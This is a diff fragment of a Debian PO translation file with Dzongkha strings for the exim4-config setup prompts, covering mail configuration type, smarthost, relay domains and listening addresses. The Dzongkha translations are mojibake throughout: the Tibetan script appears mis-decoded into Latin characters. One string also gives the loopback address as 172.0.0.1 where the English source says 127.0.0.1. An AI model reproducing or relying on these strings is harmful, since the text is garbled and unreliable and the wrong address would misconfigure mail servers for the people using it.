+"Exim4 འདི་ ཆེད་བརྩོན་à½à½´à½˜à¼‹à½¦à¾’ྲིལ་ exim4-config ལུ་ ཆ་རà¾à¾±à½ºà½“་འབད་དེ་ཡོདཔ་ཨིན༠Exim4 ལོག་རིམ་སྒྲིག་"
+"འབད་ནི་ལུ་ 'dpkg-reconfigure exim4-config' འདི་ ལག་ལེན་འà½à½–à¼"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"ཨིན་ཊར་ནེཊི་ས་à½à½¼à½„ས་; ཨེསི་ཨེམ་ཊི་པི་ལག་ལེན་འà½à½–་པའི་à½à½¼à½‚་ལས་ ཡིག་འཕྲིན་ཚུ་à½à½‘་ཀར་དུ་ གà½à½„་ནི་དང་ "
+"འà½à½¼à½–་ཚུགསཔ་ཨིནà¼"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསཊི་གིས་གà½à½„་མི་ཡིག་འཕྲིན་;ཨེསི་ཨེམ་ཊི་པི་ ཡང་ན་ ཡིག་འཕྲིན་ལེན་ནི་བརྒྱུད་དེ་ འà½à½¼à½–་"
+"ཨིནà¼"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "སྤུར་བསྒྱིར་དྲགས་ཡོད་མི་ཧོསིཊི་གིས་གà½à½„་ཡོད་པའི་ཡིག་འཕྲིན་; ཉེ་གནས་ཀྱི་ཡིག་འཕྲིན་མེདà¼"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "ཉེས་གནས་ཀྱི་གà½à½„་ནི་རà¾à¾±à½„མ་ཅིག;ཡོངས་འབྲེལ་གུར་མེནà¼"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "དུས་ཚོད་ད་ལྟོ་བཟུམ་ཅིག་à½à½¢à¼‹ རིམ་སྒྲིག་མེདà¼"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "སྤྱིར་གà½à½„་དབྱེ་བ་ཅན་གྱི་ཡིག་འཕྲིན་རིམ་སྒྲིག;"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"à½à¾±à½¼à½‘་རའི་དགོས་མà½à½¼à¼‹ ཡང་དག་སྦེ་འགྲུབ་ཚུགས་མི་ ཡིག་འཕྲིན་སར་བར་གྱི་རིམ་སྒྲིག་བྱེ་བ་དེ་ སེལ་འà½à½´à¼‹à½ à½–ད་གནང་à¼"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ཌའིལ་ཨཔ་རིམ་ལུགས་ཚུ་རྩིས་à½à½ºà¼‹ ནུས་ཅན་ཨའི་པི་à½à¼‹à½–ྱང་ཚུ་དང་གཅིག་à½à½¢à¼‹à½¡à½¼à½‘་མི་རིམ་ལུགས་ཚུ་གིས་ འགྲེམ་སྤེལ་"
+"གྱི་་དོན་ལུ་ ཕྱིར་གà½à½„་ཡིག་འཕྲིན་དེ་ གཞན་མི་གློག་འཕྲུལ་\"smart host\"ཟེར་མི་ལུ་གà½à½„་ནི་ལུ་ སྤྱིར་གà½à½„་"
+"ལུ་ རིམ་སྒྲིག་འབད་དེ་འོང་དགོཔ་ཨིན་ ག་ཅི་འབད་ཟེར་བ་ཅིན་ ཨིན་ཊར་ནེཊི་སྡེབ་ཚན་གུ་à½à½¼à½–་པའི་རིམ་ལུགས་ཆ་"
+"མཉམ་ར་ ནུས་ཅན་ཨའི་པི་ནང་ལས་ཀྱི་ ནང་འབྱོར་ཡིག་འཕྲིན་ཚུ་ སི་པམ་ཉེན་སà¾à¾±à½¼à½–་འབད་ à½à¼‹à½–ྱང་བà½à½‚སཔ་ཨིནà¼"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"ནུས་ཅན་ཨའི་པི་à½à¼‹à½–ྱང་དང་ལྡན་པའི་རིམ་ལུགས་ཅིག་གིས་ རང་རའི་ཡིག་འཕྲིན་འདི་à½à½¼à½–་ཚུགས་ ཡང་ན་ ཉེ་གནས་"
+"འགྲེམ་སྤེལ་འདི་(རྩ་བ་དང་འགྲེམ་à½à½„་འགོ་འཛིན་གྱི་དོན་ལུ་ ཡིག་འཕྲིན་མ་གà½à½¼à½‚ས་)ལྕོགས་མིན་ཧྲིལ་བུ་སྦེ་བཟོ་ཚུགསà¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "ཡིག་འཕྲིན་རིམ་སུགས་དེ་à½à½‘་རི་འབའ་རི་ རིམ་སྒྲིག་མ་འབད་བར་བཞག་ནི་ཨིན་ན?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ཡིག་འཕྲིན་རིམ་ལུགས་འདི་རིམ་སྒྲིག་མ་འབད་ཚུན་ཚོད་ རྒྱུན་ཆད་ནི་ཨིནམ་དང་ ལག་ལེན་འà½à½–་མི་ཚུགས༠ཨིན་རུང་ "
+"ཤུལ་ལས་à½à¾±à½¼à½‘་ཀྱིས་ ལགཔ་གིས་ ཡང་ན་ \"dpkg-reconfigure exim4-config\" དེ་གཡོག་བཀོལ་བའི་à½à½¼à½‚་"
+"ལས་ རྩ་བ་སྦེ་རིམ་སྒྲིག་འབད་ཚུགསà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "རིམ་ལུགས་ཡིག་འཕྲིན་གྱི་མིང་:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"\"mail name\" འདི་ ཌོ་མེན་མིང་མེད་པར་ ཡིག་འཕྲིན་ \"qualify\" འབད་ནི་ལུ་ལག་ལེན་འà½à½–་མི་ ཌོ་"
+"མེན་གྱི་མིང་དེ་ཨིནà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"མིང་འདི་ ལས་རིམ་གཞན་ཚུ་གིས་ཡང་ ལག་ལེན་འà½à½–་འོང་༠འདི་རà¾à¾±à½„་པ་དང་ ཌོ་མེན་མིང་ཆ་ཚང་(FQDN) འབད་"
+"འོང་དགོཔ་ཨིནà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"དཔེར་ན་ ཉེ་གནས་ཧོསཊི་གུ་ཡིག་འཕྲིན་à½à¼‹à½–ྱང་དེ་ foo@domain.example ཨིན་པ་ཅིན་ གདམ་à½à¼‹à½ à½‘ི་གི་ བེ་"
+"ལུ་ངོ་མ་འདི་ domain.example ཨིནà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr "མིང་འདི་འབྱུང་: བསà¾à¾±à½¢à¼‹à½–ྲིས་ལྕོགས་ཅན་བཟོ་སྟེ་ཡོད་པ་ཅིན་ ཕྱིར་བསà¾à¾±à½¼à½‘་གྲལ་à½à½²à½‚་ཚུ་ནང་ལས་"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "ཡིག་འཕྲིན་དེ་དང་ལེན་འབད་ཡོད་མིའི་དོན་ལུ་ འགྲོ་ཡུལ་གཞན:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"སེ་མི་ཀོ་ལཱོན་གྱིས་སོར་སོ་འཕྱལ་ཡོད་པའི་ à½à½¼à½–་མà½à½“་ཌོ་མཱེན་གྱི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ བཙུགས་གནང་ དེ་ཡང་ མ་འཕྲུལ་à½à½¼à¼‹"
+"རང་ མà½à½ à¼‹à½‘པྱད་ཅིག་སྦེ་བཟོ་དགོཔ་ཨིན༠ཌོ་མཱེན་འདི་ཚུ་ སྤྱིར་བà½à½„་ལུ་ 'local domains' ཟེར་སླབ་ཨིན༠ཉེ་"
+"གནས་ཧོསཊི་མིང་ (${fqdn}) དང་ 'localhost' གཉིས་ཀུ་ ཨ་རྟག་ར་ ནཱ་ལུ་བྱིན་à½à½ºà¼‹à½¡à½¼à½‘་པའི་à½à½¼à¼‹à½¡à½²à½‚་ནང་"
+"à½à¼‹à½¦à¾à½¼à½„་འབད་དེ་ཡོདཔ་ཨིནà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"སྔོན་སྒྲིག་གི་à½à½¼à½‚་ལས་ ཌོ་མེན་ཆ་མཉམ་ འདྲ་མཉམ་སྦེ་རྩིས་འཇོག་འབད་འོང་༠ག་དེམ་ཅིག་འབད་ a.example "
+"and b.exampleཚུ་ ཉེ་གནས་ཌོ་མེན་ཨིན་པ་ཅིན་ acc@a.example and acc@b.example འདི་ མཇུག་"
+"གི་འགྲོ་ཡུལ་ཅོག་འà½à½‘པ་ལུ་ འགྲེམ་སྤེལ་འབད་འོང་༠ཌོ་མེན་གྱི་མིང་སོ་སོ་ཚུ་ སོ་སོ་འབད་རང་རྩིས་འཇོག་འབད་དགོ་"
+"པ་ཅིན་ à½à¾±à½¼à½‘་ཀྱིས་རིམ་སྒྲིག་ཡིག་སྣོད་ཚུ་ ཤུལ་ལས་ཞུན་དག་འབད་དགོཔ་ཨིནà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "དོན་ལུ་ ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་འབད་ནི་ལུ་ ཌོ་མེནསི:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"གློ་བུར་རྒྱབ་à½à½‚་ ཨེམ་ཨེགསི་ ཡངན་ ཡིག་འཕྲིན་འཛུལ་སྒོ་ཅིག་བཟུམ་སྦེ་ རིམ་ལུགས་འདི་གིས་ཡིག་འཕྲིན་བརྒྱུད་སྤྲོད་"
+"འབད་ནི་ཨིན་པའི་à½à½¼à½–་མà½à½“་ཌོ་མེན་གྱི་སེ་མི་ཀོ་ལཱོན་-à½à¼‹à½ à½•à¾±à½£à¼‹à½¡à½¼à½‘་པའི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ à½à½¼à¼‹à½–ཀོད་འབད་གནང་༠དེ་"
+"གིས་ག་ཅི་སླབ་སྨོ་ཟེར་བ་ཅིན་ རིམ་ལུགས་འདི་གིས་ ཌོ་མེན་འདི་གི་དོན་ལུ་ གློག་འཕྲིན་གུ་ཕྱོགས་ག་སྟེ་ལས་ཡང་ "
+"ཡིག་འཕྲིན་དང་ལེན་འབད་འོང་ དེ་ལས་ ཉེ་གནས་འགྲེམ་སྤེལ་ལམ་ལུགས་དང་འà½à¾²à½²à½£à¼‹à½à½ºà¼‹ འགྲེམ་སྤེལ་འབད་འོང་à¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "ནཱ་ལུ་ཉེ་གནས་ཌོ་མེནསི་མ་བཀོད༠à½à½ à½²à½£à¼‹à½€à½¢à½Œà½¦à½²à¼‹à½šà½´à¼‹à½£à½‚་ལེན་འà½à½–་ཡོདཔ་འོང་à¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "དོན་ལུ ཡིག་འཕྲིན་རྒྱུད་སྤྲོད་འབད་ནིའི་དོན་ལུ་ གློག་འཕྲུལ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"རིམ་ལུགས་འདི་གིས་ མà½à½´à½“་སྒྲིག་སྦེ་ སི་མརཊི་ཧོསཊི་སྦེ་ལས་འགན་འགྲུབ་སྟེ་ ཡིག་འཕྲིན་ལུ་བརྒྱུད་སྤྲོད་འབད་ནི་ཨིན་"
+"པའི་ཨའི་པི་à½à¼‹à½–ྱང་à½à¾±à½–་ཚད་ཀྱི་ སེ་མི་ཀོ་ལཱོན་གྱིས་སོ་སོར་འཕྱལ་ཡོད་པའི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་ བཙུགས་གནང་à¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"à½à¾±à½¼à½‘་ཀྱིས་ཚད་ལྡན་à½à¼‹à½–ྱང་/སྔོན་ཚིག་རྩ་སྒྲིག་དེ་ལག་ལེན་འà½à½–་དགོ(དཔེ་འབད་བ་ཅིན་ ༡༩༤་༢༢༢་༢༤༢་༠/༢༤ ཡང་"
+"ན་ ༥ཨེཕ་༠༣:༡༢༠༠:༨༣༦ཨེཕ་::/༤༨)"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"རིམ་ལུགས་འདི་ ཧོསཊི་གཞན་ག་གི་དོན་ལུ་ཡང་ སི་མརཊི་ཧོསཊི་སྦེ་འབད་མ་བཅུག་པ་ཅིན་ à½à½¼à¼‹à½¡à½²à½‚་འདི་སྟོངམ་འབད་"
+"བཞག"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "ཉེ་གནས་ཀྱི་ལག་ལེན་པ་ཚུ་གི་དོན་ལུ་ མà½à½¼à½„་ཚུགས་པའི་ཌོ་མེན་གྱི་མིང་:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"ཕྱིར་བསà¾à¾±à½¼à½‘་ཡིག་འཕྲིན་ནང་ལུ་ ཉེ་གནས་ཡིག་འཕྲིན་མིང་ སྦ་ནིའི་གདམ་à½à¼‹à½ à½‘ི་་ལྕོགས་ཅན་བཟོ་ནུག དེ་འབདà½à¼‹à½£à½¦à¼‹ "
+"ཉེ་གནས་ལག་ལེན་པའི་à½à¼‹à½–ྱང་གི་ཌོ་མཱེན་ཆ་ཤས་ཀྱི་དོན་ལས་ རིམ་ལུགས་འདི་གིས་ ལག་ལེན་འà½à½–་དགོ་པའི་ཌོ་མཱེན་"
+"མིང་འདི་ གསལ་བཀོད་འབད་དགོཔ་à½à½‚་ཆེà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "ཕྱིར་བསà¾à¾±à½¼à½‘་སི་མརཊི་ཧོསཊི་གི་ཨའི་པི་à½à¼‹à½–ྱང་ ཡང་ན་ ཧོསཊི་མིང་:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"ཕྱིར་བསà¾à¾±à½¼à½‘་སི་མརཊི་ཧོསཊི་སྦེ་རིམ་ལུགས་འདི་གིས་ ལག་ལེན་འà½à½–་ནི་ཨིན་པའི་ཨའི་པི་à½à¼‹à½–ྱང་ ཡང་ན་ ཡིག་འཕྲིན་"
+"སར་བར་ཅིག་གི་ཧོསཊི་མིང་ བཙུགས་གནང་༠ག་དེམ་ཅིག་འབད་ སི་མརཊི་ཧོསཊི་གིས་ འདྲེན་ལམ་ཅིག་གུ་ ཊི་སི་"
+"པི་/༢༥ལས་སོར་སོ་འབད་ à½à¾±à½¼à½ à¼‹à½¢à½ à½²à¼‹à½¡à½²à½‚་འཕྲིན་རà¾à¾±à½„མ་ཅིག་དང་ལེན་འབད་བ་ཅིན་ ཀོ་ལཱོན་གཉིས་དང་འདྲེན་ལམ་ཨང་ "
+"མཇུག་བསྣོན་འབད་གནང་(དཔེརན་ སི་མརཊི་ཧོསཊི་ དཔེར་བརྗོད་:: ༥༨༧ ཡང་ན་ ༡༩༢་༡༦༨་༢༥༤::༢༥༢༥) "
+"IPv6 à½à¼‹à½–ྱང་ནང་ཡོད་པའི་ཀོ་ལཱོན་ཚུ་ གཉིས་ལྡན་བཟོ་དགོ"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"SMTP བདེན་བཤད་སྒྲིག་སྟངས་ཀྱི་སà¾à½¼à½¢à¼‹à½£à½¦à¼‹à½¤à½ºà½¦à¼‹à½à½–ས་ལུ་ སི་མརཊི་ཧོསཊི་ལུ་བདེན་བཤད་དགོ་པ་ཅིན་ /usr/"
+"share/doc/exim4-base ནང་ལས་ ཌི་བི་ཡཱན་- དམིགས་བསལ་ README ཡིག་སྣོད་ཚུ་ལྷབà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "རྩ་བ་དང་སྦྲག་à½à½„་དོ་དམ་གྱི་ ཡིག་འཕྲིན་འà½à½¼à½–་མà½à½“:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"\"postmaster\"དང་ \"root\" དེ་ལས་གཞན་རིམ་ལུགས་ཀྱི་རྩིས་à½à½¼à¼‹à½šà½´à¼‹à½‚ི་ཡིག་འཕྲིན་འདི་ རིམ་ལུགས་བདག་"
+"སà¾à¾±à½¼à½„་པ་ངོ་མའི་ལག་ལེན་པའི་རྩིས་à½à½¼à¼‹à½£à½´à¼‹ སླར་ལོག་གà½à½„་དགོà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"བེ་ལུ་འདི་སྟོངམ་སྦེ་བཞག་ཡོད་པ་ཅིན་ འདི་བཟུམ་གྱི་ཡིག་འཕྲིན་འདི་ འོས་སྦྱོར་འབད་དེ་མེད་པའི་ /var/mail/"
+"mail ནང་སྲུང་བཞག་འབད་དེ་བཞག་འོང་à¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"འགྲེམ་ལས་འགོ་འཛིན་གྱི་ཡིག་འཕྲིན་འདི་ གཞན་à½à½¢à¼‹à½‚དོང་བསà¾à¾±à½¼à½‘་མ་འབད་བར་ à½à¼‹à½•à¾±à½¼à½‚ས་སུ་རིམ་ལུགས་གུ་ལྷག་དགོཔ་"
+"ཨིན་ དེ་སྦེ་འབད་བ་ཅིན་ ནཱ་ལུ་à½à½¼à¼‹à½–ཀོད་འབད་ཡོད་པའི་ལག་ལེན་པ་ཚུ་ནང་ལས་གཅིག་ དེ་གི་ཡིག་འཕྲིན་འདི་གློག་"
+"འཕྲུལ་ལས་ སླར་à½à¼‹à½•à¾±à½¼à½‚ས་སུ་གཡོ་ནི་མི་འོང་༠བང་ཅན་སྦེ་ ཉེ་གནས་འགྲེམ་སྤེལ་གྱི་དོན་ལུ་ \"real-\" སྔོན་ལྟ་"
+"འདི་ལག་ལེན་འà½à½–་ཚུགསཔ་ཨིནà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "སྣ་མང་ལག་ལེན་པའི་མིང་ཚུ་ བར་སྟོང་ཚུ་གིས་སོར་སོ་à½à¼‹à½ à½•à¾±à½£à¼‹à½‘གོཔ་ཨིནà¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "ཨེསི་ཨེམ་ཊི་པི་གྲལ་མà½à½´à½‘་ནང་འབྱོར་ཉན་ནི་གྱི་དོན་ལུ་ ཨའི་པི་-à½à¼‹à½–ྱང་ཚུ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"ཨའི་པི་à½à¼‹à½–ྱང་གི་སེ་མི་ཀོ་ལཱོན་གྱིས་སོ་སོར་འཕྱལ་ཡོད་པའི་à½à½¼à¼‹à½¡à½²à½‚་ཅིག་བཙུགས་གནང་༠ཨེག་ཟིམ་ ཨེསི་ཨེམ་ཊི་པི་"
+"ཉན་མི་ཌེ་མཱོན་གྱིས་ ནཱ་ལུ་à½à½¼à¼‹à½–ཀོད་འབད་ཡོད་པའི་ཨའི་པི་à½à¼‹à½–ྱང་ཆ་མཉམ་ལས་ཉན་འོང་à¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"བེ་ལུ་སྟོངམ་གྱིས་ ཨེག་ཟིམ་ལུ་ འà½à½¼à½–་ཚུགས་པའི་ཡོངས་འབྲེལ་ངོས་འདྲ་བ་ཆ་མཉམ་གྱི་གུ་ མà½à½´à½‘་ལམ་ཉན་བཅུག་འོང་à¼"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"རིམ་ལུགས་འདི་གིས་ དཔེར་ན་ ཕེཅ་མེ་ཡཱལ་ ཡངན་ ཉེ་གནས་ཧོསཊི་(ཧོསཊི་གཞན་ལས་མེན་པའི་)དང་à½à¼‹à½¦à¾³à½–་ནི་ཡོད་"
+"པའི་གློག་འཕྲིན་ལས་རིམ་(ཨེམ་ཡུ་ཨེ་)བཟུམ་སྦེ་ ཉེ་གནས་ཞབས་à½à½¼à½‚་ཚུ་ནང་ལས་ གློག་འཕྲིན་à½à½‘་ཀར་དུ་འà½à½¼à½–་པ་"
+"ཅིན་རà¾à¾±à½„མ་ཅིག་ ཉེ་གནས་ཨེག་ཟིམ་གྱིས་ཕྱིའི་མà½à½´à½‘་ལམ་བཟོ་ནི་ལས་བཀག་དམ་འབད་དགོ ནཱ་ལུ་ ༡༧༢་༠་༠་༡ à½à½¼à¼‹"
+"བཀོད་འབད་ཡོད་པ་ཅིན་ ཕྱིའི་མà½à½´à½‘་ལམ་ཚུ་མི་སྲིདཔ་ཨིན༠འདི་གིས་ མི་མང་ཡོངསའབྲེལ་ངོས་འདྲ་བ་ཚུ་གུ་ ཉན་ནི་"
+"ལས་ལྕོགས་མིན་བཟོ་འོང་à¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "ཊི་ཨེན་ཨེསི་-འདྲི་དཔྱད་ཚུ་གི་ཨང་ཡིག་ཉུང་སུ་སྦེ་བཞག (Demand-ཌ་ཡེལ་འབད་ནི་ཨིན་ན)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"སྤྱིར་བà½à½„་བཀོལ་སྤྱོད་གྱི་à½à½–ས་ལམ་ནང་འབད་བ་ཅིན་ ཨེག་ཟིམ་གྱིས་ འགོ་བཙུག་པའི་སà¾à½–ས་དང་ དེ་ལས་ འཕྲིན་དོན་"
+"à½à½¼à½–་པའི་སà¾à½–ས་ལུ་ ཡང་ན་ འགྲེམ་སྤེལ་འབད་བའི་སà¾à½–ས་ལུ་ ཌི་ཨེན་ཨེསི་ལུ་བལྟ་འོང་༠འདི་ཡང་དྲན་དེབ་བཀོད་ནིའི་"
+"དོན་ལུ་དང་ རིམ་སྒྲིག་ནང་ ཨང་རྟགས་སྲ་བའི་བེ་ལུསི་ཨང་གྲངས་ཚུ་མར་བཞག་བཅུགཔ་ཨིནà¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"འ་ནི་ཚུ་ རྟག་བརྟན་ཌི་ཨེན་ཨེསི་-མིང་སྲུང་བཞག་པ་-འཛུལ་བསà¾à¾±à½¼à½‘་འབད་ནི་དེ་མེད་པའི་à½à½¼à½‚་ལས་ (དཔེར་ན་ ཌ་"
+"ཡཱེལ-ཨོན་-མà½à½¼à¼‹à½ à½‘ོད་ལག་ལེན་འà½à½–་མི་ཧོསཊི་ཨིན་པ་ཅིན་) དེ་ལུ་མ་དགོ་པའི་འབྲེལ་འབྱུང་འོང་༠དཔེར་ན་ ཨེག་"
+"ཟིམ་འགོ་བཙུགས་ནི་ ཡང་ན་ གྱལ་རིམ་གཡོག་བཀོལ་བའོ་à½à½¼à½‚་ལས་ (འཕྲིན་དོན་ཚུ་འགུག་སྟེ་མེད་དེ་རང་འབད་རུང་) "
+"རིན་གོང་སྦོམ་་གནས་མི་ ཌ་ཡཱེལ་-ཨཔ་བྱུང་ལས་ཅིག་བྱུང་བཅུག་ནིའི་ཉེན་à½à¼‹à½¡à½¼à½‘་མི་ དགོས་འདོད་མེད་པའི་རྗེས་འབྲས་"
+"འà½à½¼à½–་ནིའི་ཉེན་à½à¼‹à½¡à½¼à½‘པ་ཨིནà¼"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"རིམ་ལུགས་འདི་གིས་ ག་དེམ་ཅིག་འབད་ Dial-on-Demand འདི་ལགལེན་འà½à½–་à½à½ºà¼‹à½¡à½¼à½‘་པ་ཅིན་ གདམ་à½à¼‹à½ à½‘ི་སེལ་"
